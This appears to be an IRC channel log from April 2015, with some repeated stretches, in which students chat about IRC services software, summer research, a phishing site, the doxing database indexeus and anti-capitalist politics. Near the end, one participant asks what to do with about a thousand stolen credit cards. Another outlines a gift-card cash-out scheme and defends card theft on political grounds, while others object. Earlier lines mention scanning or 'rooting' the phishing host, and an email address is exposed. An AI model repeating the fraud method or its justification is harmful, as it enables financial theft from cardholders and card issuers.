[2015-04-03T14:41:04-0400] <fwilson> subject: Error messages in blue box
[2015-04-03T14:41:10-0400] <jwoglom> they don't even show up in a box for them
[2015-04-03T14:41:12-0400] <fwilson> uh
[2015-04-03T14:41:14-0400] <fwilson> *oh
[2015-04-03T14:41:18-0400] <fwilson> lol
[2015-04-03T14:41:18-0400] <jwoglom> they just get appended to the end of the page in plaintext
[2015-04-03T14:41:25-0400] <jwoglom> because eighthoffice doesn't load the core css
[2015-04-03T14:41:29-0400] <jwoglom> *well, doesn't load all of it
[2015-04-03T14:42:12-0400] <fwilson> lol
[2015-04-03T14:55:39-0400] <sdamashek> fwilson: RIP services
[2015-04-03T14:56:23-0400] <fwilson> rip atheme 2015-2015
[2015-04-03T14:56:54-0400] <sdamashek> fwilson: >2015
[2015-04-03T14:56:54-0400] <sdamashek> >not using anope
[2015-04-03T14:57:00-0400] <fwilson> sdamashek: shalture please
[2015-04-03T14:57:32-0400] <fwilson> shalture is like
[2015-04-03T14:57:34-0400] <fwilson> wat
[2015-04-03T14:57:35-0400] <fwilson> *anope is like
[2015-04-03T14:57:38-0400] <fwilson> wat
[2015-04-03T14:57:44-0400] <sdamashek> why is shalture better than anope
[2015-04-03T14:59:51-0400] <fwilson> shalture is an atheme fork
[2015-04-03T14:59:58-0400] <sdamashek> yeah I know
[2015-04-03T14:59:58-0400] <fwilson> so it's basically just continuing atheme development
[2015-04-03T15:00:01-0400] <sdamashek> so is anope
[2015-04-03T15:00:01-0400] <fwilson> i mean
[2015-04-03T15:00:07-0400] <sdamashek> right?
[2015-04-03T15:00:08-0400] <fwilson> anope isn't atheme
[2015-04-03T15:00:22-0400] <fwilson> yeah anope has been its own project
[2015-04-03T15:00:26-0400] <sdamashek> oh right
[2015-04-03T15:00:34-0400] <sdamashek> but still
[2015-04-03T15:00:41-0400] <fwilson> also this lol http://rabbit.dereferenced.org/~nenolod/gauntlet/burst-gauntlet-100000.pdf.png
[2015-04-03T15:00:42-0400] <sdamashek> why is it better
[2015-04-03T15:00:54-0400] <fwilson> http://rabbit.dereferenced.org/~nenolod/gauntlet/
[2015-04-03T15:01:01-0400] <fwilson> a while ago
[2015-04-03T15:01:09-0400] <fwilson> (i.e. not current)
[2015-04-03T15:02:15-0400] <sdamashek> ok fair point
[2015-04-03T15:02:26-0400] <sdamashek> so scalability?
[2015-04-03T15:02:31-0400] <fwilson> i don't remember the exact reasons why i didn't use anope on my testnet though
[2015-04-03T15:02:34-0400] <fwilson> yeah, pretty much
[2015-04-03T15:02:40-0400] <fwilson> atheme code is designed for large networks, hence freenode
[2015-04-03T15:03:16-0400] <fwilson> i've just found atheme to be a little nicer to manage
[2015-04-03T15:03:31-0400] <fwilson> haven't tried anope in a while though, maybe i'll set up a testnet sometime
[2015-04-03T15:04:08-0400] <sdamashek> remember bouncerstationnet
[2015-04-03T15:04:27-0400] <fwilson> that was
[2015-04-03T15:04:32-0400] <fwilson> lol
[2015-04-03T15:04:45-0400] <fwilson> we had the strangest configurations
[2015-04-03T15:04:52-0400] <sdamashek> lol yup
[2015-04-03T15:04:54-0400] <jwoglom> i'm surprised bouncerstation stayed up for as long as it did
[2015-04-03T15:06:59-0400] <fwilson> lol
[2015-04-03T15:17:50-0400] <+awe> JacobEdelman: do you have the link to that Stanford paper with the sentences describing images?
[2015-04-03T15:19:22-0400] <+awe> Nevermind. I found it.
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[2015-04-03T15:03:31-0400] <fwilson> haven't tried anope in a while though, maybe i'll set up a testnet sometime
[2015-04-03T15:04:07-0400] <sdamashek> remember bouncerstationnet
[2015-04-03T15:04:27-0400] <fwilson> that was
[2015-04-03T15:04:29-0400] <fwilson> lol
[2015-04-03T15:04:44-0400] <fwilson> we had the strangest configurations
[2015-04-03T15:04:52-0400] <sdamashek> lol yup
[2015-04-03T15:04:53-0400] <jwoglom> i'm surprised bouncerstation stayed up for as long as it did
[2015-04-03T15:06:59-0400] <fwilson> lol
[2015-04-03T15:17:50-0400] <+awe> JacobEdelman: do you have the link to that Stanford paper with the sentences describing images?
[2015-04-03T15:19:22-0400] <+awe> Nevermind. I found it.
[2015-04-03T15:47:52-0400] <z3t> sup kids
[2015-04-03T15:49:05-0400] <Tamini> eyo.
[2015-04-03T15:49:41-0400] <jwoglom> sup z3t 
[2015-04-03T15:55:10-0400] <alokpathy> z3t: soup
[2015-04-03T15:58:29-0400] <z3t> I don't like soup :(
[2015-04-03T15:58:34-0400] <alokpathy> Um
[2015-04-03T15:58:36-0400] <alokpathy> chowder?
[2015-04-03T15:58:38-0400] <alokpathy> :D
[2015-04-03T15:58:40-0400] <z3t> npo
[2015-04-03T15:58:43-0400] <z3t> ]nop *
[2015-04-03T15:58:49-0400] <jwoglom> clam chowder is pretty good :P
[2015-04-03T15:59:28-0400] <z3t> wasn't their a show called chowder or something
[2015-04-03T16:15:41-0400] • Pharyngeal: yawns
[2015-04-03T16:26:42-0400] <alokpathy> z3t: Mhm
[2015-04-03T16:26:47-0400] <alokpathy> It was on Cartoon Network.
[2015-04-03T16:30:54-0400] <z3t> ah yes
[2015-04-03T16:31:48-0400] <JacobEdelman> weeee
[2015-04-03T16:32:26-0400] <JacobEdelman> alokpathy: how's korea?
[2015-04-03T16:32:32-0400] <alokpathy> JacobEdelman: Not sure
[2015-04-03T16:32:43-0400] <JacobEdelman> are you there yet?
[2015-04-03T16:32:43-0400] <alokpathy> JacobEdelman: New Jersey's still pretty cool
[2015-04-03T16:32:47-0400] <alokpathy> Nop. :P
[2015-04-03T16:32:49-0400] <JacobEdelman> oh, okay
[2015-04-03T16:33:05-0400] <alokpathy> Tamini: is there
[2015-04-03T16:33:07-0400] <alokpathy> but she's USACOing
[2015-04-03T16:33:15-0400] <JacobEdelman> ah, wait
[2015-04-03T16:33:18-0400] <JacobEdelman> Usaco now?
[2015-04-03T16:33:20-0400] <JacobEdelman> this is bad
[2015-04-03T16:33:22-0400] <JacobEdelman> and annoying
[2015-04-03T16:33:22-0400] <alokpathy> It's this weekend.
[2015-04-03T16:33:25-0400] <alokpathy> US Open.
[2015-04-03T16:33:34-0400] <JacobEdelman> ooh
[2015-04-03T16:33:34-0400] <alokpathy> Roger Federer's probably going to rek again.
[2015-04-03T16:33:37-0400] <JacobEdelman> I'll do it monday
[2015-04-03T16:33:40-0400] <JacobEdelman> LOL
[2015-04-03T16:44:41-0400] <fwilson> >rek
[2015-04-03T16:44:45-0400] <fwilson> itym wrek
[2015-04-03T16:45:03-0400] <fwilson> yes that's spelled correktly
[2015-04-03T17:07:42-0400] <JacobEdelman> My phone
[2015-04-03T17:07:45-0400] <JacobEdelman> Is amazing
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[2015-04-03T17:43:48-0400] <ubuntor> hm?
[2015-04-03T18:00:27-0400] <+awe> alokpathy: So, Emery told me I should meet with the only PLT professor here, Arjun, and then if I don't want to work on anything he's doing, I can definitely work with him.
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[2015-04-03T18:01:09-0400] <+awe> alokpathy: And I think instead of taking either of the electives that I didn't really want to take, I'm going to try to just do an independent study with either Emery or Arjun to continue my research into the school year.
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[2015-04-03T18:18:46-0400] <z3t> ;L
[2015-04-03T18:31:55-0400] <+awe> JacobEdelman: should I apply for the funding for ICFP?
[2015-04-03T18:56:59-0400] <z3t> heh, some kid just tried to phish me: http://loginjauthsession.appspot.com/
[2015-04-03T19:00:48-0400] <LittleBobbyTables> Most obvious twitter ever.
[2015-04-03T19:01:27-0400] <z3t> bet he stores logins in a .txt somewhere on the site
[2015-04-03T19:02:08-0400] <LittleBobbyTables> Break out the dirbuster
[2015-04-03T19:02:27-0400] <z3t> nvm post request to http://e-card-view.0fees.us/secured.php
[2015-04-03T19:02:30-0400] <jwoglom> dat twitter-file-not-found.appspot.com
[2015-04-03T19:02:41-0400] <z3t> inb4 jwoglom actually tried to sign in
[2015-04-03T19:03:02-0400] <jwoglom> ah yes, with my account "nicetrym8" "obviousphish10outof10"
[2015-04-03T19:03:17-0400] <LittleBobbyTables> Why not just redirect to the actual login failure twitter page...
[2015-04-03T19:03:55-0400] <z3t> will run dirbuster on http://e-card-view.0fees.us/ when I get back
[2015-04-03T19:04:05-0400] <z3t> or just root it..
[2015-04-03T19:04:37-0400] <z3t> 0fees is a free hosting company :l
[2015-04-03T19:04:51-0400] <LittleBobbyTables> Really? I would have thought they charged money.
[2015-04-03T19:04:57-0400] <LittleBobbyTables> You know, based on their whole "0 fees" name
[2015-04-03T19:05:47-0400] <LittleBobbyTables> Is the psifertex in #pwning the real one
[2015-04-03T19:05:48-0400] <z3t> idk might be 0(hidden)fees
[2015-04-03T19:06:23-0400] <LittleBobbyTables> Clicked on a link there. Was porn
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[2015-04-03T19:07:22-0400] <jwoglom> fix your internets pls
[2015-04-03T19:07:27-0400] <tjstudent> tell that to the hotel
[2015-04-03T19:07:48-0400] <tjstudent> damn canadian isps
[2015-04-03T19:07:57-0400] <jwoglom> use a server/vps :P
[2015-04-03T19:08:05-0400] <tjstudent> /afk
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[2015-04-03T19:11:45-0400] <LittleBobbyTables> So what now
[2015-04-03T19:22:47-0400] <+awe> LittleBobbyTables: http://www.superliminal.com/cube/cube.htm That's what now.
[2015-04-03T19:23:51-0400] <LittleBobbyTables> I've done that already.
[2015-04-03T19:24:25-0400] <ubuntor> http://www.gravitation3d.com/magiccube5d/
[2015-04-03T19:24:51-0400] <LittleBobbyTables> Jesus christ
[2015-04-03T19:24:56-0400] <LittleBobbyTables> primes.io is so intensive
[2015-04-03T19:25:06-0400] <LittleBobbyTables> ubuntor: doesn't load
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[2015-04-03T19:25:35-0400] <ubuntor> hm
[2015-04-03T19:25:36-0400] <ubuntor> http://astr73.narod.ru/MC7D/MC7D.html
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[2015-04-03T21:41:00-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-03T18:00:27-0400] <+awe> alokpathy: So, Emery told me I should meet with the only PLT professor here, Arjun, and then if I don't want to work on anything he's doing, I can definitely work with him.
[2015-04-03T18:01:09-0400] <+awe> alokpathy: And I think instead of taking either of the electives that I didn't really want to take, I'm going to try to just do an independent study with either Emery or Arjun to continue my research into the school year.
[2015-04-03T18:18:46-0400] <z3t> ;L
[2015-04-03T18:31:55-0400] <+awe> JacobEdelman: should I apply for the funding for ICFP?
[2015-04-03T18:56:59-0400] <z3t> heh, some kid just tried to phish me: http://loginjauthsession.appspot.com/
[2015-04-03T19:00:48-0400] <LittleBobbyTables> Most obvious twitter ever.
[2015-04-03T19:01:26-0400] <z3t> bet he stores logins in a .txt somewhere on the site
[2015-04-03T19:02:08-0400] <LittleBobbyTables> Break out the dirbuster
[2015-04-03T19:02:27-0400] <z3t> nvm post request to http://e-card-view.0fees.us/secured.php
[2015-04-03T19:02:30-0400] <jwoglom> dat twitter-file-not-found.appspot.com
[2015-04-03T19:02:41-0400] <z3t> inb4 jwoglom actually tried to sign in
[2015-04-03T19:03:01-0400] <jwoglom> ah yes, with my account "nicetrym8" "obviousphish10outof10"
[2015-04-03T19:03:17-0400] <LittleBobbyTables> Why not just redirect to the actual login failure twitter page...
[2015-04-03T19:03:55-0400] <z3t> will run dirbuster on http://e-card-view.0fees.us/ when I get back
[2015-04-03T19:04:05-0400] <z3t> or just root it..
[2015-04-03T19:04:37-0400] <z3t> 0fees is a free hosting company :l
[2015-04-03T19:04:51-0400] <LittleBobbyTables> Really? I would have thought they charged money.
[2015-04-03T19:04:57-0400] <LittleBobbyTables> You know, based on their whole "0 fees" name
[2015-04-03T19:05:47-0400] <LittleBobbyTables> Is the psifertex in #pwning the real one
[2015-04-03T19:05:48-0400] <z3t> idk might be 0(hidden)fees
[2015-04-03T19:06:23-0400] <LittleBobbyTables> Clicked on a link there. Was porn
[2015-04-03T19:07:12-0400] <tjstudent> pingtimeout inbound
[2015-04-03T19:07:22-0400] <jwoglom> fix your internets pls
[2015-04-03T19:07:27-0400] <tjstudent> tell that to the hotel
[2015-04-03T19:07:48-0400] <tjstudent> damn canadian isps
[2015-04-03T19:07:57-0400] <jwoglom> use a server/vps :P
[2015-04-03T19:08:05-0400] <tjstudent> /afk
[2015-04-03T19:11:45-0400] <LittleBobbyTables> So what now
[2015-04-03T19:22:46-0400] <+awe> LittleBobbyTables: http://www.superliminal.com/cube/cube.htm That's what now.
[2015-04-03T19:23:51-0400] <LittleBobbyTables> I've done that already.
[2015-04-03T19:24:25-0400] <ubuntor> http://www.gravitation3d.com/magiccube5d/
[2015-04-03T19:24:51-0400] <LittleBobbyTables> Jesus christ
[2015-04-03T19:24:56-0400] <LittleBobbyTables> primes.io is so intensive
[2015-04-03T19:25:05-0400] <LittleBobbyTables> ubuntor: doesn't load
[2015-04-03T19:25:35-0400] <ubuntor> hm
[2015-04-03T19:25:36-0400] <ubuntor> http://astr73.narod.ru/MC7D/MC7D.html
[2015-04-03T20:40:15-0400] <fwilson> mfw http://i.fwilson.me/zRWD8f.png
[2015-04-03T20:40:57-0400] <jwoglom> legacy compat, yay!
[2015-04-03T21:08:34-0400] <LittleBobbyTables> UIUCTF, first question, "What's Bobby Table's real name?"
[2015-04-03T21:10:28-0400] <z3t> shouldn't d/c anymore :D
[2015-04-03T21:12:20-0400] <LittleBobbyTables> Liar
[2015-04-03T21:12:28-0400] <z3t> sh
[2015-04-03T21:24:11-0400] <z3t> TIL in Australia there is a law that can be used to force you to give your passwords to police
[2015-04-03T21:24:31-0400] <jwoglom> well that's wonderful
[2015-04-03T21:25:15-0400] <z3t> iirc the 5th ammendment protects us from stuff like that in the US
[2015-04-03T21:27:49-0400] <LittleBobbyTables> Well, no.
[2015-04-03T21:27:56-0400] <LittleBobbyTables> It's just that we happen to forget our passwords.
[2015-04-03T21:29:33-0400] <z3t> https://www.eff.org/issues/know-your-rights
[2015-04-03T21:29:39-0400] <z3t> yeah doesn't fully protect
[2015-04-03T21:38:30-0400] <z3t> hey, Tamini_.
[2015-04-03T21:41:01-0400] Mode is +nt
[2015-04-03T22:00:59-0400] <z3t> LittleBobbyTables: You know abdilo?
[2015-04-03T22:11:46-0400] <+awe> Woo, Arjun emailed me back!
[2015-04-03T22:18:06-0400] <LittleBobbyTables> No
[2015-04-03T22:26:15-0400] <LittleBobbyTables> z3t: what was that one site advertised on HF a bunch about the dox place?
[2015-04-03T22:29:23-0400] <z3t> dox place?
[2015-04-03T22:30:59-0400] <LittleBobbyTables> It started with an i
[2015-04-03T22:31:03-0400] <LittleBobbyTables> that's all I remember
[2015-04-03T22:33:22-0400] <z3t> indexeus?
[2015-04-03T22:34:07-0400] <LittleBobbyTables> That's it
[2015-04-03T22:48:33-0400] <LittleBobbyTables> Back to over 100 bucks on paypal, team
[2015-04-03T22:49:06-0400] <+awe> LittleBobbyTables: hit me up, doe.
[2015-04-03T22:49:15-0400] <LittleBobbyTables> Sorry, I spent it
[2015-04-03T22:49:21-0400] <+awe> That was fast.
[2015-04-03T22:49:24-0400] <LittleBobbyTables> Needed the 1 TB SSD for 270 bucks
[2015-04-03T22:50:04-0400] <jwoglom> so, now you have $-170?
[2015-04-03T22:51:27-0400] <LittleBobbyTables> Nah
[2015-04-03T22:51:41-0400] <LittleBobbyTables> I didn't want to spend 300 from pocket,e so I sold btc
[2015-04-03T22:51:44-0400] <LittleBobbyTables> Now it doesn't make me feel as bad
[2015-04-03T22:56:44-0400] <fwilson> i wonder what indexeus has to know about me
[2015-04-03T22:57:50-0400] <fwilson> nothing!
[2015-04-03T23:01:32-0400] <z3t> ah cool they have awe's SSN
[2015-04-03T23:01:58-0400] <+awe> What?
[2015-04-03T23:02:26-0400] <+awe> Are you talking about this: http://indexeus.org ?
[2015-04-03T23:03:43-0400] <+awe> z3t: ????
[2015-04-03T23:04:16-0400] <fwilson> lol
[2015-04-03T23:04:23-0400] <+awe> I'm super confused.
[2015-04-03T23:04:26-0400] <+awe> Are you serious or not?
[2015-04-03T23:04:33-0400] <z3t> I'm kidding >.<
[2015-04-03T23:04:35-0400] <fwilson> awe: i can find out
[2015-04-03T23:04:38-0400] <fwilson> oh
[2015-04-03T23:04:42-0400] <fwilson> they know about you apparently
[2015-04-03T23:04:53-0400] <+awe> Is this the site you're talking about?
[2015-04-03T23:04:56-0400] <fwilson> yeah
[2015-04-03T23:05:03-0400] <+awe> Why do you say they know about me?
[2015-04-03T23:05:11-0400] <fwilson> awe: is your email aaron.weiss@comcast.net
[2015-04-03T23:05:14-0400] <+awe> No.
[2015-04-03T23:05:15-0400] <fwilson> oh
[2015-04-03T23:05:17-0400] <fwilson> they don't know about you
[2015-04-03T23:05:18-0400] <sdamashek> Username dank
[2015-04-03T23:05:20-0400] <fwilson> they know about someone else
[2015-04-03T23:05:22-0400] <fwilson> sdamashek: Salt memes
[2015-04-03T23:05:26-0400] <sdamashek> Username Memes
[2015-04-03T23:05:29-0400] <fwilson> hashed password %ayy*lmao
[2015-04-03T23:05:36-0400] <fwilson> ^ btw that's not a part of my csl password
[2015-04-03T23:05:39-0400] <fwilson> no matter what anyone tells you
[2015-04-03T23:05:41-0400] <fwilson> it's not
[2015-04-03T23:05:43-0400] <fwilson> ok
[2015-04-03T23:06:08-0400] <sdamashek> Username george w obama
[2015-04-03T23:06:18-0400] <fwilson> sdamashek: http://indexeus.org/search/index?terms=on&search=Barack+Obama
[2015-04-03T23:06:30-0400] <sdamashek> yeah
[2015-04-03T23:06:56-0400] <jwoglom> fwilson: you're now on a list :P
[2015-04-03T23:07:12-0400] <fwilson> jwoglom: ikr
[2015-04-03T23:11:36-0400] <ubuntor> better summon the nsa
[2015-04-03T23:11:49-0400] <jwoglom> oh they already know :P
[2015-04-03T23:14:53-0400] <LittleBobbyTables> I got everything of mine removed from them.
[2015-04-03T23:15:09-0400] <+awe> I'm not on there at all.
[2015-04-03T23:15:16-0400] <+awe> I'm definitely on at least a few government watch lists though.
[2015-04-03T23:16:52-0400] <LittleBobbyTables> I know for a fact I am
[2015-04-03T23:17:16-0400] <+awe> Indeed you do.
[2015-04-03T23:21:45-0400] <fwilson> LittleBobbyTables: wait how
[2015-04-03T23:21:49-0400] <fwilson> how do you know
[2015-04-03T23:22:09-0400] <LittleBobbyTables> You can mail the FBI a letter asking for the information they have on you
[2015-04-03T23:22:25-0400] <fwilson> wait
[2015-04-03T23:22:31-0400] <fwilson> FOIA request?
[2015-04-03T23:22:42-0400] <LittleBobbyTables> Pretty much
[2015-04-03T23:22:45-0400] <fwilson> huh.
[2015-04-03T23:23:03-0400] <fwilson> so you just fill out http://www.fbi.gov/foia/u.s.-department-of-justice-form-361-certification-of-identity
[2015-04-03T23:23:06-0400] <fwilson> ?
[2015-04-03T23:23:38-0400] <fwilson> ah yep
[2015-04-03T23:23:39-0400] <z3t> http://www.getmyfbifile.com/
[2015-04-03T23:25:05-0400] <jwoglom> i feel like that would look really sketchy
[2015-04-03T23:25:46-0400] <LittleBobbyTables> "Blind XSS is the Carly Rae Jepsen of the Security world. You might get a response right now, and I have no idea what I'm talking about"
[2015-04-03T23:25:48-0400] <LittleBobbyTables> I love this guy
[2015-04-03T23:25:56-0400] <fwilson> lol
[2015-04-03T23:26:03-0400] <fwilson> >Copyright © 2007 Meme Transmission Enterprises. All rights reserved.
[2015-04-03T23:26:06-0400] <fwilson> ok
[2015-04-03T23:26:25-0400] <+awe> I should probably ask to get my FBI file as some point.
[2015-04-03T23:26:44-0400] <z3t> It does make legit letters though fwilson 
[2015-04-03T23:26:56-0400] <sdamashek> LittleBobbyTables: lol, did they tell you what lists>
[2015-04-03T23:28:24-0400] <LittleBobbyTables> Communication with known cyber terrorist or something like that
[2015-04-03T23:28:41-0400] <sdamashek> ... lol
[2015-04-03T23:28:49-0400] <jwoglom> did you talk with Four Chan?
[2015-04-03T23:29:00-0400] <LittleBobbyTables> Nah
[2015-04-03T23:29:24-0400] <LittleBobbyTables> Apparently, talking to the creator of Zeus GameOver and Andromeda is frowned upon.
[2015-04-03T23:29:37-0400] <sdamashek> no kidding
[2015-04-03T23:29:56-0400] <jwoglom> "On 24 February 2015, the FBI announced a reward of up to $3 million in exchange for information regarding Russian cyber criminal Evgeniy Bogachev over his association with Gameover ZeuS.[6]"
[2015-04-03T23:30:10-0400] <LittleBobbyTables> He's not the creator
[2015-04-03T23:30:14-0400] <LittleBobbyTables> Just the main user
[2015-04-03T23:30:24-0400] <LittleBobbyTables> He made Cryptolocker, though
[2015-04-03T23:30:30-0400] <LittleBobbyTables> Fun facts with LBT
[2015-04-03T23:34:45-0400] <+awe> alokpathy: "As Emery might have mentioned, all my research involves programming language design and implementation, with a strong bias in favor of functional programming and program verification. This summer, there will be 1-2 PhD students, another REU student, and possibly a postdoc working with me. When we meet, I'll tell you what we have planned: all of it can be construed as "applied functional programming"."
[2015-04-03T23:35:04-0400] <+awe> alokpathy: I have a feeling I'm very much going to like him.
[2015-04-03T23:35:32-0400] <z3t> Time to test awe's morals again: What should I do with ~1k CCs with exp/cvv/name/address included?
[2015-04-03T23:35:50-0400] <+awe> Probably nothing.
[2015-04-03T23:35:55-0400] <+awe> Credit card fraud leaves a huge trail.
[2015-04-03T23:35:58-0400] <jwoglom> uh, how did you get them
[2015-04-03T23:36:37-0400] <z3t> I found them
[2015-04-03T23:36:40-0400] <+awe> One option is to buy a single $100 gift card on each credit card and sell it for a slightly lesser amount on one of those sites.
[2015-04-03T23:37:02-0400] <+awe> I would feel bad about credit card fraud in that it has an impact on real people's lives.
[2015-04-03T23:37:21-0400] <+awe> But in practice, people usually notice, and the credit card company reimburses them and thus absorbs the cost.
[2015-04-03T23:37:26-0400] <+awe> And I'm all for stealing from credit card companies.
[2015-04-03T23:38:03-0400] <sdamashek> ._.
[2015-04-03T23:38:16-0400] <+awe> Are you not, sdamashek?
[2015-04-03T23:38:26-0400] <sdamashek> I'm not for illegal things
[2015-04-03T23:38:45-0400] <+awe> You do realize the law is an agent of control for the people in power, right?
[2015-04-03T23:38:59-0400] <+awe> Things that are illegal are illegal because those in power decided that we shouldn't be allowed to do them, not because they're wrong.
[2015-04-03T23:40:03-0400] <jwoglom> stealing money isn't just illegal because those in power decided so
[2015-04-03T23:40:03-0400] <sdamashek> I guess? It's definitely wrong in this case imo
[2015-04-03T23:40:20-0400] <+awe> Sure it is.
[2015-04-03T23:40:30-0400] <+awe> Money only exists because it's to the benefit of those in power.
[2015-04-03T23:40:45-0400] <jwoglom> i think you're extending this mode of thinking a bit too much
[2015-04-03T23:40:48-0400] <sdamashek> uhh
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[2015-04-03T23:41:27-0400] <+awe> I mean, there's some value to currency as a useful system of exchange, but if it wasn't to the benefit of those in power for theft of that sort to be illegal, it wouldn't be.
[2015-04-03T23:41:45-0400] <+awe> That's why nobody ends up in jail when banks steal billions.
[2015-04-03T23:42:24-0400] <+awe> If it's not clear, I'm anti-capitalist.
[2015-04-03T23:42:37-0400] <+awe> And also anti-state.
[2015-04-03T23:43:08-0400] <jwoglom> i don't think that argument would be held up in a court of law
[2015-04-03T23:43:18-0400] <+awe> What argument would be held up in a court of law?
[2015-04-03T23:43:48-0400] <+awe> Do you mean it wouldn't hold up to say I'm anti-capitalist if I'm getting sued for credit card fraud?
[2015-04-03T23:43:49-0400] <+awe> I'm aware.
[2015-04-03T23:44:12-0400] <jwoglom> yes
[2015-04-03T23:44:16-0400] <jwoglom> you're still committing a crime
[2015-04-03T23:44:23-0400] <sdamashek> I don't think you can justify stealing money from anybody even if you're anti-capitalist
[2015-04-03T23:44:35-0400] <+awe> Why not?
[2015-04-03T23:44:51-0400] <sdamashek> because it's other people's money, not yours
[2015-04-03T23:45:07-0400] <+awe> jwoglom: You don't need to tell me that agents of the state are going to attack anti-state behavior.
[2015-04-03T23:45:18-0400] <+awe> sdamashek: I don't think you understand.
[2015-04-03T23:45:26-0400] <sdamashek> enlighten me then
[2015-04-03T23:45:28-0400] <+awe> sdamashek: It's only their money because they exploited people to get it.
[2015-04-03T23:45:37-0400] <+awe> That's the justification for stealing from them.
[2015-04-03T23:45:41-0400] <sdamashek> and how did they exploit people?
[2015-04-03T23:46:18-0400] <+awe> Credit card companies make money off interest.
[2015-04-03T23:46:29-0400] <jwoglom> that's not exactly a secret
[2015-04-03T23:46:33-0400] <+awe> I didn't say it was.
[2015-04-03T23:46:35-0400] <sdamashek> yeah?
[2015-04-03T23:46:40-0400] <+awe> I said it's exploitative, not that it's a secret.
[2015-04-03T23:46:57-0400] <jwoglom> if you don't want credit card companies to make money off of interest, don't use their services
[2015-04-03T23:47:07-0400] <+awe> You don't have much choice.
[2015-04-03T23:47:10-0400] <sdamashek> people are well informed that credit cards have interest
[2015-04-03T23:47:26-0400] <sdamashek> if you don't want to be charged interest, pay off your balance on time every month
[2015-04-03T23:47:27-0400] <+awe> It's not information that makes it exploitative.
[2015-04-03T23:47:32-0400] <sdamashek> it's very simple
[2015-04-03T23:48:09-0400] <+awe> In order to pay most of your bills, you need a credit or debit card (or you have to go through a great deal of driving to individual places to pay your bills in cash).
[2015-04-03T23:48:12-0400] <sdamashek> don't build up any debt, don't pay any interest
[2015-04-03T23:48:21-0400] <+awe> And if you're poor, sdamashek?
[2015-04-03T23:48:34-0400] <+awe> If you can't afford to eat and pay for electricity, what do you do?
[2015-04-03T23:48:35-0400] <sdamashek> if you're poor, you shouldn't be buying more than you can afford
[2015-04-03T23:48:50-0400] <+awe> Okay, you're right. I'll just not eat then.
[2015-04-03T23:48:57-0400] <+awe> That's not a solution.
[2015-04-03T23:49:10-0400] <sdamashek> do you think credit card companies should just lend you money at their risk with no promise of payback?
[2015-04-03T23:49:28-0400] <+awe> I don't think their should be institutions that control money in that way.
[2015-04-03T23:50:20-0400] <sdamashek> well then, how should it work?
[2015-04-03T23:50:40-0400] <sdamashek> communism didn't work very well
[2015-04-03T23:50:44-0400] <z3t> ah I love a good awe vs everyone debate
[2015-04-03T23:50:59-0400] <jwoglom> they happen pretty regularly in this channel
[2015-04-03T23:51:08-0400] <+awe> No, authoritarian socialism worked out very poorly. You're right.
[2015-04-03T23:52:05-0400] <+awe> Ideally, communities would take care of one another's needs, and then interact and trade with other communities. As I said the other day, I don't have a perfect image of what global trade looks like in this sort of scenario.
[2015-04-03T23:52:44-0400] <+awe> A marked improvement on contemporary capitalism would be a single public credit union serving the entire nation.
[2015-04-03T23:53:32-0400] <sdamashek> the public credit union would still require people to pay back what they spend, no?
[2015-04-03T23:53:46-0400] <+awe> With virtually no interest.
[2015-04-03T23:54:17-0400] <sdamashek> What if people don't pay back their debt at all then?
[2015-04-03T23:54:40-0400] <sdamashek> Wouldn't the credit union just lose money?
[2015-04-03T23:54:44-0400] <+awe> Okay?
[2015-04-03T23:54:48-0400] <+awe> And?
[2015-04-03T23:54:50-0400] <sdamashek> (and therefore the government if it's public)
[2015-04-03T23:54:56-0400] <+awe> That's fine.
[2015-04-03T23:54:59-0400] <sdamashek> How would that be beneficial to the economy?
[2015-04-03T23:55:03-0400] <sdamashek> Why is that fine?
[2015-04-03T23:55:21-0400] <+awe> Because you fund those interest-free loans via a wealth tax.
[2015-04-03T23:55:38-0400] <sdamashek> You'd just have people exploiting the government then, and not working at all to pay back their debts, would you not?
[2015-04-03T23:55:53-0400] <sdamashek> What's the incentive to work?
[2015-04-03T23:56:03-0400] <sdamashek> Or to pay back the interest-free loans?
[2015-04-03T23:56:34-0400] <+awe> "exploiting the government" lol
[2015-04-03T23:56:40-0400] <sdamashek> yes?
[2015-04-03T23:56:44-0400] <+awe> It's not exploiting the government.
[2015-04-03T23:56:47-0400] <+awe> The government is supposed to serve you.
[2015-04-03T23:57:31-0400] <+awe> Despite what you've been told perpetually by state propaganda, capitalism is not the sole motivation for labor. It's just the motivation for soul-sucking labor.
[2015-04-03T23:58:02-0400] <sdamashek> even if that's true, what's the incentive to work in your model
[2015-04-03T23:58:34-0400] <+awe> If people want to be able to consume more and live in luxury, they can't do that by being in constantly increasing debt.
[2015-04-03T23:58:44-0400] <sdamashek> and, a big problem that communism suffered, why would you want to work hard?
[2015-04-03T23:59:00-0400] <sdamashek> since you know you're gonna be provided for anyways
[2015-04-03T23:59:03-0400] <+awe> Can you please stop referring to state-mandated socialism as communism?
[2015-04-03T23:59:39-0400] <sdamashek> the Soviet Union was definitely communist, no?
[2015-04-03T23:59:42-0400] <+awe> No.
[2015-04-03T23:59:46-0400] <+awe> It was state-mandated socialism.
[2015-04-03T23:59:57-0400] <jwoglom> why isn't it communist?
[2015-04-03T23:59:59-0400] <+awe> The means of production was owned by the state, not by the people.
[2015-04-04T00:00:01-0400] <sdamashek> the political party was literally the Communist Party of the Soviet Union
[2015-04-04T00:00:07-0400] <+awe> It doesn't matter what they named it.
[2015-04-04T00:00:21-0400] <jwoglom> why would they name it the Communist Party if it wasn't communism
[2015-04-04T00:00:22-0400] <+awe> Communism is a system of economics wherein the means of production is owned by the workers.
[2015-04-04T00:00:34-0400] <+awe> Socialism is a system of economics wherein the means of production is owned by the state.
[2015-04-04T00:00:35-0400] <jwoglom> that makes no sense
[2015-04-04T00:00:41-0400] <+awe> Sure it does.
[2015-04-04T00:00:51-0400] <+awe> Communism was growing in popularity. They capitalized on the popularity.
[2015-04-04T00:01:14-0400] <+awe> They used socialism as a supposed stepping stone to communism, but the workers were never given ownership of the means of production.
[2015-04-04T00:01:18-0400] <+awe> It always stayed within the state.
[2015-04-04T00:01:32-0400] <sdamashek> does there not need to be some sort of government regulation?
[2015-04-04T00:01:48-0400] <+awe> In communism, no.
[2015-04-04T00:02:17-0400] <+awe> Anyway, back to your point of "why would people work?"
[2015-04-04T00:02:37-0400] <+awe> The justification underlying capitalism is that people are inherently greedy and desire more, is it not?
[2015-04-04T00:02:56-0400] <sdamashek> sure, and ideally they would be willing to work more to earn more
[2015-04-04T00:03:20-0400] <+awe> Okay, so, if we assume that that's the case, why would anyone be happy just having enough to live?
[2015-04-04T00:03:29-0400] <+awe> The motivation to work would be the same.
